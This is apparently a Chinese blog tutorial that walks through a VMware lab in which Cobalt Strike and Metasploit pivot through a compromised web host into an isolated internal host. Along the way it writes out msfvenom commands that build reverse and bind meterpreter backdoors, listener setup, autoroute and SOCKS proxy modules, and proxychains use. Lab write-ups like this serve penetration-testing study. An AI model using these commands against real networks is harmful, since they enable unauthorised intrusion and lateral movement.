hzhsec

 

MSF-CobaltStrike实现内网socks代理转发上线


前言描述

在内网渗透时,常常出现网络不可达的情况,例如我们获得一台web主机的权限,该主机可以访问另一台主机,但我们本机是无法直接访问该内网主机的,而且该内网主机连不上外网

我们就需要将web机作为跳板,将我们主机的流量转发到不可直接访问的内网主机,就可以开始实现渗透测试获取内网主机权限了,如图
neiwang.jpg

知识补充:
反向连接 vs 正向连接的区别:

  • 反向连接:受害主机主动出来,适用于有出网权限的情况
  • 正向连接:攻击机主动去找,适用于无出网权限的内网主机

环境准备

虚拟机:

三台vmwarw虚拟机
攻击机:Kali
Web机,内网主机:两台win10

网络配置:

VMware网络配置

vm准备三个网络:
VMnet1:192.168.189.0/24 仅主机
VMnet6:192.168.42.0/24 仅主机
VMnet8:192.168.41.0/24 NAT模式

VMnet8:实现本地主机kali虚拟机进行互联
VMnet6:实现kali虚拟机web主机进行互联
VMnet1:实现web主机内网主机进行互联
image.png

本地主机与虚拟机网络配置

本地主机
由于是在虚拟机环境,本地主机默认所有的虚拟机都可以访问,所以记得在本地主机需要禁用VMnet1,VMnet6两个网络,这样本地主机就无法访问Web主机和内网主机的网络了
image.png

Kali攻击机
image.png

image.png

Windows10 Web靶机
image.png

image.png
window10 内网机:
image.png

通过以上配置基本实现了:
本地主机和Kali攻击机互通,kali攻击机可以访问web机,web机可以访问内网机
neiw.jpg
内网主机ip为192.168.189.132,图片有点问题

CobaltStrike

socks代理工作原理:
CS的socks代理是通过已控制的跳板机(Web主机)建立一个流量转发通道,具体流程如下:

本地主机/攻击机 → socks代理端口 → 跳板机(Web主机) → 内网目标主机

1.CobaltStrike启动

Kail主机作为服务端启动
image.png

本地主机作为客户端,
image.png

2.上线第一台web主机

配置监听
image.png
上线ip一定要填kaliweb机可以互通的网段ip:192.168.42.0/24,监听端口不要占用了

生成exe后门放到web机上线
image.png

3.验证环境

先在内网主机起一个简单的web终端
网址为:http://192.168.189.132:9999 (刚刚图片ip有问题)
image.png
此时这个网页只能web主机和内网主机访问
image.png
现在情况kali是不能访问
image.png
接下来我们要实现本地主机和kali可以访问

4.实现CS转发

我们使用CSsocks代理转发
image.png
image.png
记住端口:27910

5.本地主机走代理端口

使用Proxifier进行流量转发

1. 添加代理服务器

image.png
image.png

2. 添加代理规则

image.png
image.png
规则说的是任何192.168.189.0/24的ip都走刚刚配置的代理端口

3. 验证主机是否可以访问

  • 本地主机访问
    image.png
  • Kali的curl访问
curl -x socks4://192.168.41.128:27910 http://192.168.189.132:9999

image.png

6.上线内网主机

web主机上线使用的是反向连接(防火墙严进,宽出)

内网主机上线需要正向连接(内网主机不通本地主机,需要本地主机通过跳板去找)

重新生成正向连接的后门
image.png
挂目标本机的4444端口

在内网主机运行后门
image.png
该主机成功监听本地4444端口

现在直接在CS上线的web执行connect命令就行

connect 192.168.189.132 4444

image.png
image.png
成功上线内网主机

MSF

msf的转发大体和CS是类似的,主要是纯命令行的使用

1.生成后门

生成后门上线web端的主机(ip要能和kali通讯那个ip)

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.42.130 LPORT=4444 -f exe -o shell_x64.exe

2.上线web端后门

kali端进行监听

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
run

运行后门上线
image.png

3.msf路由表配置

更新/查看路由表

run post/multi/manage/autoroute

自动添加路由表

  • 这个命令会自动扫描当前已控制主机的网络接口和路由信息
  • 根据扫描结果,自动添加所有发现的内网网段到 MSF 的路由表中
  • 使得 MSF 可以通过当前已控制的主机访问其所在的内网其他主机
run autoroute -p

查看当前路由表

  • -p 参数表示 "print"(打印/显示)
  • 这个命令会显示当前 MSF 中已配置的所有路由规则
  • 让你了解哪些内网网段可以通过当前会话进行访问
    image.png

路由表的作用:
告诉MSF:"当你需要访问192.168.189.0/24网段时,不要直接尝试(会失败),而是通过Session 1(Web主机)来转发流量"

4.设置socks代理

使用background命令回到msf控制页面
使用msf的转发代理模块配置代理
image.png

use auxiliary/server/socks_proxy
查看参数
show options
可以根据情况设置socks版本,socks5或者socks4a
set srvport 1080
set version 4a
exploit

执行完kali本地的1080端口就可以通过web主机代理流量到内网主机了

5.验证代理

  • 使用curl命令
curl -x socks4://192.168.41.128:1080 http://192.168.189.132:9999

image.png

  • 使用本地工具proxychains
    编辑本地的proxychains程序配置文件
vim /etc/proxychains.conf

image.png
可以通过proxychains访问内网环境了

proxychains curl http://192.168.189.132:9999

image.png

  • 使用环境变量
export https_proxy=socks4://0.0.0.0:1080 http_proxy=socks4://0.0.0.0:1080

image.png
访问的问题解决了,就是使用msf的正向连接了

6.内网主机正向连接上线

生成shell

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=5555 -f exe -o bin_shell_x64.exe

运行
image.png
msf连接

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 5555
set rhost 192.168.189.132
run

image.png
最好再更新一下路由

run post/multi/manage/autoroute

成功上线内网主机
image.png
由图可知
192.168.42.130->192.168.42.128
192.168.189.128->192.168.189.132

kail主机是通过web主机来连接内网主机的

至此,我们已成功通过实验完成Cobalt StrikeMetasploit的内网横向渗透。

免责声明
本文所述过程仅用于安全研究与教育目的,旨在提升对软件安全风险的认知与防御能力。所有操作均应在合法授权的隔离实验环境中进行,严禁用于任何未授权的系统渗透、攻击或非法活动。作者及发布方不对因误用、滥用本文内容而导致的任何直接或间接损失承担责任。用户须自行承担使用风险,并严格遵守《中华人民共和国网络安全法》及相关法律法规。

posted on 2026-03-21 22:35  hzhsec  阅读(8)  评论(0)    收藏  举报

导航